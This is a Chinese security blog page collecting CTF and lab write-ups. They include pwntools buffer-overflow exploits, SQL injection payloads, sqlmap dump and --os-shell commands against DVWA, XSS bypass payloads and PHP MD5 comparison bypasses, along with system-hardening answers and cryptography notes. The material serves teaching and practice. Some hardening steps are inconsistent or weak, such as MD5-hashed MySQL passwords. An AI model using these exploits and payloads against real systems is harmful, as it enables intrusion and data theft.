首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,543 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,351 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
160
篇与
的结果
2022-12-03
【CTF解题】BUUCTF Reverse篇
APK 简单注册器APK程序逆向,这道题目比较简单判断flag成立就解密flag并输出。char[] x = "dd2940c04462b4dd7c450528835cca15".toCharArray(); x[2] = (char) ((x[2] + x[3]) - 50); x[4] = (char) ((x[2] + x[5]) - 48); x[30] = (char) ((x[31] + x[9]) - 48); x[14] = (char) ((x[27] + x[28]) - 97); for (int i = 0; i < 16; i++) { char a = x[31 - i]; x[31 - i] = x[i]; x[i] = a; } String bbb = String.valueOf(x); textview.setText("flag{" + bbb + "}");我们只需要按它的算法流程仿写,再运行一遍就能出flag。x = list("dd2940c04462b4dd7c450528835cca15") x[2] = chr(ord(x[2]) + ord(x[3]) - 50) x[4] = chr(ord(x[2]) + ord(x[5]) - 48) x[30] = chr(ord(x[31]) + ord(x[9]) - 48) x[14] = chr(ord(x[27]) + ord(x[28]) - 97) for i in range(16): a = x[31 - i] x[31 - i] = x[i] x[i] = a bbb = ''.join(x) print("flag{" + bbb + "}")flag{59acc538825054c7de4b26440c0999dd}
2022年12月03日
420 阅读
0 评论
121 点赞
2022-12-03
【CTF解题】BUUCTF Pwn篇
简介Pwn 二进制漏洞挖掘 ( 建立在二进制逆向的基础之上 ),在CTF比赛中Pwn题的目标是拿到flag,一般是在linux平台下通过二进制/系统调用等方式编写漏洞利用脚本 exp 来获取对方服务器的 shell,然后get到flag。环境准备首先用 Python 来编写exp,对于pwn最常用的模块就是 pwntools,可以用以下命令进行安装模块,更多使用方式可以自行查看 pwntools 帮助文档。pip install pwntools基本使用from pwn import * context.log_level = "debug" local = True if local: io = remote("node4.buuoj.cn", 29248) # 向目标主机,对应端口发送连接 else: io = process("./pwn1") # 本地进行连接调试 payload = "a" * (0xf + 8) + p64(0x401187) # 填充之后,覆盖返回地址,p32, p64打包为二进制;u32, u64解包为二进制 io.sendline(payload) # 发送编写的恶意代码 io.interactive() # 与远程服务器中的 shell 交互得到控制权# 发送 payload p.send(payload) #发送 payload p.sendline(payload) #发送 payload,并进行换行(末尾\n) p.sendafter(some_string, payload) #接收到 some_string 后, 发送你的 payload p.sendlineafter(some_string, payload) #接收到 some_string 后, 发送你的 payload,加个换行# 接收返回内容 p.recvn(N) #接受 N(数字) 字符 p.recvline() #接收一行输出 p.recvlines(N) #接收 N(数字) 行输出 p.recvuntil(some_string) #接收到 some_string 为止 p.interactive() #直接进行交互,相当于回到shell的模式,一般在取得shell之后使用 asm(shellcraft.sh()) # 生成 shellcodeELF# 首先需要 elf=ELF('./filename') 来产生一个对象 elf.symbols['a_function'] #找到 a_function 的地址 elf.got['a_function'] #找到 a_function的 got elf.plt['a_function'] #找到 a_function 的 plt elf.next(e.search("some_characters")) #找到包含 some_characters 可以是字符串,汇编代码或者某个数值的地址pwn1RELRO (Read-Only Relocations):该特性可防止对全局偏移量表(GOT)的篡改。开启 RELRO 保护后,动态链接器会将 GOT 设置为只读,从而防止攻击者利用 GOT 漏洞攻击程序。 Stack Canary:该特性是一种堆栈保护机制,可防止栈溢出攻击。当开启栈保护时,程序会在函数返回地址附近放置一个栈保护(canary)值。如果该值被篡改,程序会异常终止,防止栈溢出攻击。 NX (Non-Executable Stack):该特性可防止在程序的栈段执行恶意代码。开启 NX 保护后,程序的栈段不允许执行代码,从而防止栈溢出攻击中植入的 shellcode 执行。 PIE (Position Independent Executable):该特性使程序的代码位置随机化,增加攻击者预测代码位置的难度,从而防止有效攻击。 RWX (Read-Write-Execute):该属性使得程序的部分区域拥有可读、可写、可执行的权限,但同时也会增加程序的安全风险。 尝试运行下程序,看下是否存在缓冲区溢,随便输入字符 a 给它填充,发现果然有问题。直接进IDA看看吧,一进来就看到这个程序的主入口,里面的代码写的很简单这个题目比较经典。在这里先确定一下,多少个字节才会溢出,点击s进去查看一下,发现是F那么就是15个字节,只要溢出15个字符并把要跳转的内存地址打进去,就能拿下它了。可以看到 /bin/bash 字符串的地址是在 0x40186,我们需要让程序执行到这个地址上,现在已经知道了缓冲区的长度限制为 64 个字节,可以利用这个限制构造出一个恰好溢出到 rip 寄存器,来实现程序控制流转移到 /bin/bash 字符串的地址上,好开始编写exp。尝试利用漏洞进行攻击之前,可以在本地对漏洞进行调试,确保我们的攻击代码的正确性。根据提供的信息,可以将"很明显成功了"更明确地表达为"根据本地调试的结果,可以确定攻击成功"。from pwn import * local = True if local: io = remote("node4.buuoj.cn", 4462) else: io = process('./pwn1') offset = 0xF + 8 payload = offset * b'a' + p64(0x0040118A) io.sendline(payload) io.interactive()flag{7af2d36e-c44d-4b78-825b-bd53f7d0ba96}pwn2尝试运行下程序,发现程序给出了一个带有地址的提示,暂时不用管这个,直接输入"a"来进行测试,发现程序是存在缓冲区溢出的。直接打开IDA反编译软件,打开要分析的程序,直接使用快捷键"F5",查看程序伪代码,经过观察发现,在sprintf函数中有一个名为sub_40060D的函数,我们可以双击该函数,进入其中查看其具体实现内容根据分析结果,可以发现返回的操作是用来查看文本内容的,而查看的内容正是我们想要的flag。接着查看v5变量的容量,发现只有64个字节,而代码中没有做长度限制的处理,好直接开始编写代码。这段代码的过程相对简单,主要是找到需要填充覆盖的位置,使其溢出,然后跳转到我们想要执行的代码地址上。from pwn import * local = True if local: io = remote("node4.buuoj.cn", 29836) else: io = process("./pwn2") payload = b"a" * 72 + p64(0x40060d) io.sendline(payload) io.interactive()flag{4abacf48-1539-4a8a-a595-03cf349c6ff5}ciscn_2019_n_1main 函数里调用了 func(),func中存在经典 gets() 漏洞,这题逻辑就是输入v1,但判断v2的值是否是11.28125,既然题目判断 v2 的值,那么我们将 v2 的值覆盖成 11.28125 就行了,11.28125 = 0x41348000from pwn import * local = True if local: io = remote("node4.buuoj.cn", 56120) else: io = process("./ciscn_2019_n_1") payload = b"a" * (0x30 - 0x4) + p64(0x41348000) io.send(payload) io.interactive()flag{5914b0d1-405f-4a5c-b3ea-dc820214342d}算数题#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <time.h> #include <unistd.h> void handler(int signum){ puts("Timeout"); _exit(1); } int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); signal(SIGALRM, handler); alarm(90); unsigned seed = (unsigned)time(NULL); srand(seed); unsigned int magic; printf("Give me the magic number :)\n"); read(0, &magic, 4); if (magic != 3735928559) { printf("Bye~\n"); exit(0); } printf("Complete 1000 math questions in 90 seconds!!!\n"); for (int i = 0; i < 1000; ++i) { int a = random() % 65535; int b = random() % 65535; int c = random() % 3; int ans; switch(c) { case 0: printf("%d + %d = ?", a, b); scanf("%d", &ans); if (ans != a + b) { printf("Bye Bye~\n"); exit(0); } break; case 1: printf("%d - %d = ?", a, b); scanf("%d", &ans); if (ans != a - b) { printf("Bye Bye~\n"); exit(0); } break; case 2: printf("%d * %d = ?", a, b); scanf("%d", &ans); if (ans != a * b) { printf("Bye Bye~\n"); exit(0); } break; } } printf("Good job!\n"); system("sh"); return 0; }这题考察如何利用Pwntools进行交互式,自动答题并获取到shell。from pwn import * io = process('./pwntools') io.recvuntil('number :)\n') p = p32(0xDEADBEEF) io.send(p) io.recvline() for _ in range(1000): q = io.recvuntil('= ?').decode().replace('= ?', '') io.sendline(str(eval(q))) io.interactive()
2022年12月03日
68 阅读
0 评论
6 点赞
2022-12-03
【CTF解题】BUUCTF SQL注入篇
[第一章 web入门]SQL注入在题目中提到了SQL,那么很可能是QL存在注入,在这种情况下需要先找到注入点,也就是可以输入SQL代码的输入框或参数,网址框这里发现有个id参数,尝试修改发现到3就给我们一个提示,说可以在后面接入提示参数。根据提供的信息,可以确定存SQL注入点,然后需要尝试利用注入漏洞获取敏感信息,先猜下注入点的字段有几个,很显然到4的时候就没内容了,所有只有3个字段。?id=1' order by 3 --+接下来就是找这几个字段的回显信息在哪里显示,这样才能返回我们注入后想得到的信息结果。?id=1' union select 1,2,3 --+得到回显位置后,就可以查询了我们先看下数据库表。?id=0' union select 0,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+从注入点中成功获取到一个字段的信息。?id=0' union select 1, group_concat(column_name),3 from information_schema.columns where table_name = "fl4g" --+最后通过查询结果中的字段来获取flag信息。?id=0' union select 1,group_concat(fllllag),3 from fl4g --+n1book{union_select_is_so_cool} [极客大挑战 2019]EasySQL1尝试使用万能密码进行登录,意外地成功了,直接获取到了flag的回显信息果然标题没骗我。0' or 1=1 #flag{1db132f7-af42-4fec-b0bf-505f1e1058a4}[极客大挑战 2019]LoveSQL0' or 1=1#再次尝试使用万能密码注入时,发现出现了提示信息,说明只是账号密码错了SQL查询语句没存在错误,再试试猜字段看看有什么结果。0' order by 4#经过尝试,当查询条件中的字段值等于4时,就会出现SQL语句错误。执行一个SQL查询,查看该数据库中有多少张表。1' union select 0,group_concat(table_name),3 from information_schema.tables where table_schema=database()#可以看到这个结果中有一个名为 l0ve1ysq1 的表,非常明显就是它了。1' union select 0,group_concat(column_name),3 from information_schema.columns where table_name = "l0ve1ysq1"#最后查看下表里的内容,最终成功获取到flag。1' union select 0,group_concat(password),3 from l0ve1ysq1# flag{cce5fc31-88d9-4451-8a6d-b6bbe8197330}
2022年12月03日
53 阅读
0 评论
3 点赞
2022-12-02
【技术分享】DVWA SQL注入篇
简介DVWA(Damn Vulnerable Web Application)是一个存在各种漏洞的Web网站,可以帮助安全研究人员学习挖掘漏洞的靶机系统、里面包括一些常见的漏洞如:SQL、XSS、RCE、文件包含等等,可以很方便的快速复现漏洞。手动注入难度: LOW<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // 看这一段sql语句是查询的关键。 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>分析: 判断是否存在sql注入,最简单的办法输入一个单引号,这样就会导致正常的sql语句语法错误,mysql就会报错在前端就能看见,可以查看下后端的源代码,在前端有提供。SELECT first_name, last_name FROM users WHERE user_id = ''';1.刚才输入了一个单引号提交了那么,sql语句就会拼接成这样,sql语法就错误了。2.在前端就会显示错误信息,那么就存在sql注入,有的时候会报错但在前端不显示,抓包多留一下。注入类型1.布尔注入:可以根据返回页面判断条件真假的注入;2.联合注入:可以使用 union 的注入;3.延时注入:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;4.报错注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。判断方式数字型 1 or 1=1字符型 1' or '1'='11.用数字邢判断一下类型,发现还是正常反应。2.用字符型试试看,果然有惊喜全部都出来了,为什么会出现这种情况呢,明明只有自己的账户却显示了所有人的账户呢?1' or 1=1#SELECT first_name, last_name FROM users WHERE user_id = '1' or 1 = 1;3.用这样的方式构建,就会发现拼接后的结果会是这样的,这里用到了 or 就算一个错了只要有一个成立了,那就成立。猜字段1' order by 2#SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2;1.通过 order by 可以发现这个表有几个字段,要是报错了那么字段就没那么多,就会像一下结果。字段位置1' union select 1,2 #SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2;1.我们可以发现,只有两个字段那么要找下这两个字段的位置,用这两个字段的位置给我们显示结果,这里要用到 union 联合查询。查数据库名1' union select 1, database() #SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, database();1.可以发现 他的数据库名是 dvwa, 接下来就要找表名了。查数据库表名1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = "dvwa")#SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = "dvwa");查表字段1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa';查字段内容1' union select user,password from users# SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users;1.成功拿到所有账号和密码,去在线的MD5解密网站解下密就可以了。难度: Medium<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; // 可以看到是数字型 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?> 1.发现没有地方能注入,由于是POST请求这个时候只能用抓包软件了。1 or 1=1#SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1;2.通过php后端代码的sql语句中,可以看出是数字型。1 union select user,password from users#SELECT first_name, last_name FROM users WHERE user_id = 1 union select user,password from users;3.提交后可以发现还是一样的可以获取到账号和密码。难度: High<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>1' union select user,password from users#SELECT first_name, last_name FROM users WHERE user_id = 1 union select user,password from users;{lamp/}sqlmap注入这里我用DVWA靶场做演示,输入123 然后提交网址搜索框会有提交的参数 复制这个网址到sqlmap注入。本章只讲怎么使用sqlmap 不懂注入原理的可以学习以下教程SQL手工注入教程:https://blog.csdn.net/weixin_53139899/article/details/124229137靶场环境下载:https://wws.lanzouj.com/i7RWK07mv1li靶场安装教程:https://blog.csdn.net/Tockm/article/details/123381630查数据库名称sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" --dbs --batch--cookie 必须带有因为关卡等级的原因 --dbs 显示数据库 --batch 静默yes 省去yes或no的操作查数据库表sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -tables --batch-D 指定数据库 -tables 显示表名4.查看表中的字段名sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -T users --columns --batch-T 选择表 --columns 显示列查字段内容sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -T users -C user,password --dump --batch-C 指定字段 --dump 显示数据库表的条目sqlmap 上传木马sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" --delay=1 --os-shellsqlmap参数大全https://blog.csdn.net/weixin_42160117/article/details/113999523
2022年12月02日
111 阅读
0 评论
5 点赞
2022-11-23
【CTF解题】XSS-Labs 靶机 1 ~ 20 关 解题
第一关1.既然是xss的靶机,肯定跟xss注入有关啦,先找注入口。2.看到这里有个name的参数,我们可以试试在这上面,xss注入下试试。3.输入以下js代码,发现注入成功。<script>alert(1)</script>第二关1.在此界面按ctrl + u查看前端代码,分析下前端。<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() // 要有弹窗才能触发里面的代码 { confirm("哎哟 不错哦!"); window.location.href="level3.php?writing=苦尽甘来"; // 成功后直接跳转第三关 } </script> <title>第2关</title> </head> <body> <h1 align=center>第2关 窒息的操作</h1> <h2 align=center>没有找到和跨站师相关的结果.</h2><center> <form action=level2.php method=GET> <!-- 通过GET请求把keyword接收的参数传给level2.php --> <input name=keyword value="跨站师"> <input type=submit name=submit value="搜索"/> </form> </center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center> <h3 align=center>payload的长度:9</h3></body> </html>2.可以发现 下面的代码,是成功后要执行的代码段,只要满足这个条件就成功了。3.先打开网页调试器,按F12就可以打开它,然后输入 alert(1) 这段js语句,写好了搜索一下。<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level3.php?writing=苦尽甘来"; } </script> <title>第2关</title> </head> <body> <h1 align=center>第2关 窒息的操作</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword value="<script>alert(1)</script>"> <!-- 看以上这一段是关键 是不是很眼熟 我们输入的语句 value="<script>alert(1)</script>"> 但他没有执行成功 因为后面多了一个 "> 我们得想办法给他去除掉 "><script>alert(1)</script> --> <input type=submit name=submit value="搜索"/> </form> </center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center> <h3 align=center>payload的长度:25</h3></body> </html>"><script>alert(1)</script>4.分析下 level2.php 给我们返回的内容,通过以上分析我们可以这样构建以上代码作为payload,这一关考的是绕过。5.在编辑框里输入以上这段js语句 ,再提交下。6.可以发现成功注入了。第三关1.老规矩一句简单的js弹窗问候它,再看它的返回看看有什么问题。<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level4.php?keyword=宁静致远"; } </script> <title>第3关</title> </head> <body> <h1 align=center>第3关 这该咋办啊</h1> <h2 align=center>没有找到和<script>alert(1);</script>相关的结果.</h2><center> <form action=level3.php method=GET> <input name=keyword value='<script>alert(1);</script>'> <input type=submit name=submit value=搜索 /> </form> </center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/ee7a688a-d75e-4ed7-8a79-96e62d3127e2.png" width="15%"></center> <h3 align=center>payload的长度:26</h3></body> </html>'onfocus = 'javascript:alert(1)'2.可以发现被过滤了,大于号和小于号都被过滤了,这个是时候是不是考虑换一种方式让它弹窗,实现我们的目的呢,除了利用方式还有 javascript:alert(1) 这种方式也可以弹窗。3.插入成功后需要触发,光标点下编辑框就触发了。待更新..
2022年11月23日
73 阅读
0 评论
3 点赞
2022-11-17
【CTF解题】MD5 绕过强弱类型比较
简介有些东西没有完美一说,就好比做开发的时候不严谨,和疏忽就会导致漏洞百出,在php里有两种比较,第一种是 == 双等于是弱比较,而 === 三个等于是强等于,他们之间的区别在下方有讲。类型比较区别== 先将字符串类型转化成相同,再比较。 === 先判断两种字符串的类型是否相等,再比较。var_dump("0e123456"=="0e134567"); // true var_dump(0 == "a1"); // true var_dump(0 == "1a"); // false var_dump("a" == 0); // true var_dump("1a" == 1); // trueMD5弱类型绕过弱类型比较会把0exxx当作科学计数法,不管后面的值为任何东西,0的任何次幂都为0。<?php $flag=""; $a=$_GET["a"]; $b=$_GET["b"]; if(isset($a) && isset($b)){ if(!ctype_alpha($a)){ die("a error"); } if(!is_numeric($b)){ die("b error"); } if(md5($a)==md5($b)){ echo $flag; } }else{ echo "请问,flag在哪里?"; }?>1.来做一道题看上面 if(md5($a)==md5($b)) 判断两个 md5值相等就输出flag,不是两个md5相等就行了,而是在弱比较的基础上做,以下是一些字符串md5值以0e开头QNKCDZO 240610708 s878926199a s155964671a s21587387a?a=QNKCDZO&b=2406107082.通过先将字符串类型转化成相同,再比较这样就成了,利用以上payload提交就可以拿到flag。数组绕过md5()函数计算的是一个字符串的哈希值,对于数组则返回falsepayload:?a[]=1&b[]=2MD5强类型绕过强类型比较,不仅比较值,还比较类型,0e会被当做字符串,所以不能用0e来进行但我们可以用MD值完全相同的字符来进行绕过。Select * from "admin" where password=md5($pass,true)276f722736c95d99e921722cf9ed621c # ffifdyop md5值可以利用 ffifdyop 的md5值绕过,因为在转换成字符串为"or"6乱码,Select * from ’admin’ where password='or'6乱码,相当于万能密码了。
2022年11月17日
93 阅读
0 评论
6 点赞
2022-11-15
【CTF解题】2022湖南省网络安全竞赛A卷解题
简介1.这套题是湖南省第一届职业技能大赛 网络安全竞赛 模块A样题,我只做下安全部分的题目。任务二:系统及应用加固对windows、linux服务器按要求进行相应的设置,提高服务器的安全性。 (一)Windows、linux登录安全加固:1.密码策略(windows、liunx)(1)最小密码长度不少于8个字符、密码最短使用期限30天;(2)密码策略必须同时满足大小写字母、数字、特殊字符;2.登录策略(1)用户登录服务器系统时,应该有警告标题“warning”内容为“For authorized users only”提示信息(windows);(2)设置账户锁定阈值为 6 次错误锁定账户,锁定时间为 1 分钟,复位账户锁定计数器为 1 分钟之后(windows);(3)一分钟内仅允许5次登录失败的尝试,超过5次登录帐号锁定5分钟(linux);3.用户安全管理(Windows)(1)在组策略中只允许管理员账号从网络访问本机;(2)禁止发送未加密的密码到第三方 SMB 服务器; (2)查找并删除服务器中可能存在的后门用户账户hacker。(二)数据库加固(linux)1.删除默认数据库(test); 2.改变默认MySql管理员用户为:SuperRoot; 3.使用MySql内置MD5加密函数加密用户user1的密码为(P@ssw0rd1!);4.赋予user1用户对数据库所有表只有select、insert、delete、update权限;5.对忘记mysql数据库SuperRoot管理员密码进行重置操作。系统及应用加固1.最小密码长度不少于8个字符、密码最短使用期限30天;(Windows)1.1最小密码长度不少于8个字符、密码最短使用期限30天;(Linux)vi /etc/login.defs1.2密码策略必须同时满足大小写字母、数字、特殊字符;(Windows)1.3密码策略必须同时满足大小写字母、数字、特殊字符;(Linux)vi /etc/pam.d/system-authpassword requisite pam_cracklib.so try_first_pass retry=3 type= ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1 // 参数细解 retry // 尝试次数 difok // 最小不同字符 dcredit // 数字个数 ocredit // 特殊字符个数 ucredit // 大写字母个数 lcredit // 小写字母个数 minlen // 最小长度1.4用户登录服务器系统时,应该有警告标题 "warning" 内容为 "For authorized users only" 提示信息(windows);1.5用户登录服务器系统时,应该有警告标题 "warning" 内容为 "For authorized users only" 提示信息(Linux);vi /etc/issue // 这个文件是Linux系统开机启动时在命令行界面弹出的欢迎语句文件。init 3 // 验证欢迎语1.6设置账户锁定阈值为 6 次错误锁定账户,锁定时间为 1 分钟,复位账户锁定计数器为 1 分钟之后(windows);1.7一分钟内仅允许5次登录失败的尝试,超过5次登录帐号锁定5分钟(Linux);vi /etc/pam.d/login // 编辑登录限制auth required pam_tally2.so deny=3 unlock_time=5 even_deny_root root_unlock_time=51.8在组策略中只允许管理员账号从网络访问本机。1.9禁止发送未加密的密码到第三方 SMB 服务器(windows)1.10查找并删除服务器中可能存在的后门用户账户hacker(windows)1.11删除默认数据库(test); (Linux)drop database test;1.12改变默认MySql管理员用户为:SuperRoot; (Linux)rname user 'root'@'localhost' TO 'SuperRoot'@'localhost';1.13使用MySql内置MD5加密函数加密用户user1的密码为(P@ssw0rd1!)update mysql.user set password=md5('P@ssw0rd1!') where user='user1';1.14赋予user1用户对数据库所有表只有select、insert、delete、update权限grant select, insert, delete, update on database_name.* to 'user1'@'localhost';1.15对忘记mysql数据库SuperRoot管理员密码进行重置操作vi /etc/my.cnf // 编辑配置 进入配置添加以下 skip-grant-tables // 设置跳过 service mysqld restart // 重启服务 mysql // 输入直接进 use mysql; // 选择mysql update user set password=password('208522') where user='SuperRoot'; // 设置新密码 flush privileges; // 刷新
2022年11月15日
294 阅读
0 评论
10 点赞
2022-11-14
【CTF解题】密码学中的加密算法
简介在日常生活中,很多人的账号密码、银行卡、app上登录的密码,按人的习惯都会设置成让自己好记一些的密码,如出生年月日、生日加名字、手机号、等等,公共场合的WIF也是如此,安全意识不够强就会存在弱密码。假如你的QQ密码泄露了,那么坏人会拿着你的账号和密码去登录游戏,和一些不需验证的平台,又或是假冒你的身份,给你的朋友发送诈骗的信息。有一种叫做撞库,得到你的账号和密码时,就会根据你注册过的网站,进行登录往往都会成功,一般来说人对密码的记忆总是会忘的,记那么多还不如记住一个就够了,这样密码都是一致的了那么撞库的可能性就很大了。在日常的暴力破解中,采用纯数字的密码是最容易破解的,我会结合以下的几点给大家讲解下。纯数密码纯3位数字的密码,在日常生活中很常见,如行李箱它会有密码也有锁,两个都可以打开行李箱的。是纯数字的话,那么就从 0 1 2 3 4 5 6 7 8 9 有十个数,要计算那么就是 10 的 3次方,也就等于 1000 种可能。计算1秒执行次数import datetime startTick = datetime.datetime.now() i = 0 while True: i = i + 1 endTick = datetime.datetime.now() if (endTick - startTick).seconds == 1: break print(i)在Python中运行了下代码,我的电脑跑了下理论上一秒一百四十多万左右,这个都说不定的只是大概上,这个还得看电脑性能了,可以发现破解三位数的密码都花不上1秒时间。计算时间差import time import datetime start = datetime.datetime.now() time.sleep(5) end = datetime.datetime.now() print((end - start).seconds)计算公式10 ^ 3 = 1000 次 # 因为从0到9是10个数字 密码有三位那就用 10 ^ 3 = 1000 种可能性 10 ^ 8 ÷ 1000000 ÷ 60 = 1 分钟 # 密码 ^ 位数 ÷ 1秒次数 ÷ 60 = 1分钟 10 ^ 8 ÷ 1000 ÷ 60 ÷ 60 = 27 小时 10 ^ 8 ÷ 1000 ÷ 60 ÷ 60 ÷ 24 = 1 天 10 ^ 8 ÷ 10 ÷ 60 ÷ 60 ÷ 365 = 7 年同理密码长度可以更改一下,得到了电脑1秒运算的次数,直接可以利用这个公式可以计算出,以上可以看出8位数字的纯密码破解只需要1分钟,就可以试完密码范围所有的可能性,以下这张表可以很明显的看出来。总结大小写加符号作为密码不用纯数字,可以减少暴力破解的成功率。密码最好准备几个,不要用同一个密码,避免被撞库登录。加密思想置换:按照规则替换文明信息。移位:打乱字母的排列顺序。移位和置换都是可逆操作,容易恢复信息。移位 置换应用于现代算法中。加密实现 不只是依赖以上基本思想 同时依赖很多巧妙的设计。如军事应用的加密电报 除了使用安全性很高的编码规则以外,解密还涉及到发报文双方的约定。凯撒密码 Caesar cipher由Julius Caesar发明英语:Caesar cipher明文字母: A B C D E F G H I K L M N O P Q R S T V X Y Z密文字母: D E F G H I K L M N O P Q R S T V X Y Z A B C注意: 共23个字母 而 J U W 拉丁文不用 明文: meet me after the toga party密文: PHHW PH DIWHU WKH WRJD SDUWB单表代替密码不能掩盖明文语言所有统计特性。对称加密 Symmetric encryption对称加密:使用同一密钥进行加密和解密传统密码加密私钥算法加密优势:加解密速度快,密文是紧凑,安全对称加密密钥长度从40bits到168bits著名加密算法:DES 3DES AES RC系列(RC2 RC4 RC5)IDEA CAST BlowfishDES(Data Encryption Standard)DES是一种分组加密算法 20世纪70年代 由IBM公司发明1976年11月纳为美国家标准DES密钥是固定56bit,不安全DES以块模式对64bit的密文进行操作3DES(Triple DES)密钥长度放大3倍,168位。暴力破解几乎不可能实现。安全但会增加延迟,语言视频不适用。AES (Advanced Encryption Standard)1997年被发布取代DES加密算法适用于高速网络,适合的硬件上实现使用128位 192位或256位密钥块(还能扩展32bit)3DES替代加密技术,软硬件运行效率高,可用于无限/语音视频加密RC4(Rivest Cipher 4)Rivest设计密钥长度可变流模式加密算法,面向bit操作算法基于随机置换RC4应用广泛 (https/WEP/WPA) WPA2-AES非对称加密 Asymmetric 